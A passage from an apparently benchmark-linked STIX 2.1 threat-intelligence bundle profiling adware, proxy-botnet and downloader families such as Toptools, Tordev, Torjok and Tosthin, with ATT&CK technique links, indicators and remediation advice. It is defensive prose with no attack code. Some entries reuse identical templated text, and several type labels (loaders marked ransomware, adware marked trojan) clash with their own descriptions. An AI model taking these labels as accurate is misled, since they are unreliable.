      "description": "Toptoo exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--705fbacc-68b0-554f-bc99-1dbce404af8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Toptools",
      "description": "Adware:Win32/Toptools is an aggressive Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Toptools Adware</b><br>To an end-user, a Toptools infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Toptools is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited URLs, and sometimes even form data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Toptools extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Toptools",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/toptools"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66020be4-dadc-5e76-87b1-60f0cb8d3527",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--705fbacc-68b0-554f-bc99-1dbce404af8a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toptools exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc5da046-4eae-5eed-80c0-127272803137",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--705fbacc-68b0-554f-bc99-1dbce404af8a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toptools exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6e4224e-d7b5-5618-a4a4-98580c08a677",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--705fbacc-68b0-554f-bc99-1dbce404af8a",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toptools exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2343a64d-3725-5b3d-9a2f-5cf8d22ea3e8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--705fbacc-68b0-554f-bc99-1dbce404af8a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toptools exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8fc96488-9300-5a10-bea5-6a070a6dab85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tordev",
      "description": "TorDev (tracked across security intelligence databases and antimalware engines under signatures including Trojan:Win32/TorDev, Backdoor:Win32/TorDev, and Trojan.TorDev) is a stealthy Windows trojan, proxy botnet client, and backdoor active since 2016. Engineered to abuse the Tor onion-routing network to establish anonymous command-and-control communication, TorDev bundles or dynamically downloads an embedded Tor client binary (tor.exe) along with customized Tor configuration files (torrc). Once running on an infected system, TorDev establishes a local SOCKS5 proxy listener (typically on localhost:9050 or localhost:9150) and connects out to attacker-controlled Tor hidden services (.onion addresses). By channeling commands and exfiltration through the Tor darknet, TorDev conceals attacker infrastructure from IP reputation blacklists and perimeter firewall blocks, empowering threat actors to execute remote interactive commands, exfiltrate stolen host telemetry, and rent compromised endpoints as residential proxy exit nodes. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/TorDev",
        "Backdoor:Win32/TorDev",
        "Trojan.TorDev",
        "Win32/TorDev",
        "TorDev Proxy Botnet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tordev",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tordev"
        }
      ],
      "labels": [
        "botnet",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--38727dbe-ee99-5bf6-95bf-23285a5860fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Torjok",
      "description": "Trojan:Win32/Torjok is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Torjok</b><br>To an end-user, a Torjok infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Torjok is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Torjok is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Torjok frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Torjok reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Torjok",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/torjok"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d73328ff-6e51-5996-a67b-f2422cc4f0bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38727dbe-ee99-5bf6-95bf-23285a5860fa",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torjok exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0211e567-7e23-5aba-b99d-742ff66ca7e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38727dbe-ee99-5bf6-95bf-23285a5860fa",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torjok exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5e2d6ff-01a0-57c6-b29e-63c177e522a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38727dbe-ee99-5bf6-95bf-23285a5860fa",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torjok exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f36a5c88-a50c-5066-8c33-a52f11283e88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38727dbe-ee99-5bf6-95bf-23285a5860fa",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torjok exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2423b4d-ce08-588c-b7be-4f327eb3e6c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--38727dbe-ee99-5bf6-95bf-23285a5860fa",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torjok exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bec795a6-ebb7-505c-aca7-f2f13a5b5090",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Torntv",
      "description": "Adware:Win32/Torntv is an aggressive Potentially Unwanted Program (PUA) and adware family, functioning primarily as a **Browser Hijacker** and rogue toolbar. Its core objective is to silently install rogue browser extensions, intercept web traffic, inject intrusive advertisements (often related to media players or downloads), and forcibly redirect a user's search queries to affiliated, low-reputation search engines to generate illicit pay-per-click revenue.<br><br><b>Understanding Torntv Adware</b><br>To an end-user, a Torntv infection is highly disruptive. Their familiar Google or Bing homepage is suddenly replaced by an unknown portal (often branded with media player icons), their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection.<br><br><b>Execution and Hijacking Mechanics</b><br>Torntv is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites or disguised as required 'video codecs'. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries and visited URLs, sending this telemetry back to the adware operators to serve highly targeted injected advertisements and manipulate search engine results.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks. EDR logs will flag the installation of the Torntv extensions and the unauthorized modification of browser registry keys (`HKLM\\SOFTWARE\\Policies\\Google\\Chrome\\ExtensionInstallForcelist`). (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Torntv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/torntv"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21904821-73c9-51c3-ac01-c5ad8c8a43c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bec795a6-ebb7-505c-aca7-f2f13a5b5090",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torntv exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0fd4de08-2fe4-55a0-a247-6e2e0e4878e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bec795a6-ebb7-505c-aca7-f2f13a5b5090",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torntv exhibits technique T1176 (Browser Extensions (BHO / Toolbar installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdabd98d-8288-5d8b-be27-784b80d2d591",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bec795a6-ebb7-505c-aca7-f2f13a5b5090",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torntv exhibits technique T1185 (Browser Session Hijacking (Search redirection and ad injection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f7de20d-e863-5b4f-90ee-dda069e127cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bec795a6-ebb7-505c-aca7-f2f13a5b5090",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torntv exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--49353d08-7063-5169-8172-1660a9a66aec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Torr",
      "description": "Trojan:Win32/Torr is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Torr</b><br>To an end-user, a Torr infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Torr is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Torr is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Torr frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Torr reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Torr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/torr"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3db053e0-f1d7-5031-9281-819e6740d488",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49353d08-7063-5169-8172-1660a9a66aec",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torr exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--afc2afd8-e442-5228-b44f-0316a8c78950",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49353d08-7063-5169-8172-1660a9a66aec",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7e9d790-f20f-5143-9c79-532d89b0aeab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49353d08-7063-5169-8172-1660a9a66aec",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torr exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb9d6441-43c5-514f-bda4-e561185ee77f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49353d08-7063-5169-8172-1660a9a66aec",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torr exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef9c4e7d-4bb8-5030-8697-4f35aa26d749",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--49353d08-7063-5169-8172-1660a9a66aec",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torr exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dc42682a-bcb2-584f-8cfa-b20caa00063f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Torrenteasy",
      "description": "Adware:Win32/Torrenteasy is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Torrenteasy</b><br>To an end-user, Torrenteasy manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Torrenteasy is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Torrenteasy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/torrenteasy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ad823d5-d00c-56b8-aff9-1eceb613c4ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc42682a-bcb2-584f-8cfa-b20caa00063f",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torrenteasy exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62ab71da-7d62-5e76-80f3-0c8b2197a794",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc42682a-bcb2-584f-8cfa-b20caa00063f",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torrenteasy exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d2f50a0f-0762-5c8c-b222-98bdc80efa74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc42682a-bcb2-584f-8cfa-b20caa00063f",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torrenteasy exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ec6d081-13b7-5288-8241-5a71141b5e25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dc42682a-bcb2-584f-8cfa-b20caa00063f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Torrenteasy exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7c0539da-469d-577f-b4ff-a84435622877",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tosthin",
      "description": "<h3>Executive Summary</h3>\nTosthin is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTosthin is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tosthin operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tosthin ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tosthin receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tosthin infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tosthin executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tosthin frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tosthin",
        "Downloader.Tosthin",
        "Win32/Tosthin"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tosthin",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tosthin"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84a488ff-5a6a-590a-892c-73c0f8762949",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c0539da-469d-577f-b4ff-a84435622877",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tosthin exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5682c3f4-1092-5241-a6dc-95ef833c3ec6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c0539da-469d-577f-b4ff-a84435622877",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tosthin exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf03ceb6-38f8-5ce1-863d-fe3e390dcdfb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7c0539da-469d-577f-b4ff-a84435622877",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tosthin exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e41c4edf-e9c9-5902-b1b5-467a81f14b03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Totbrick",
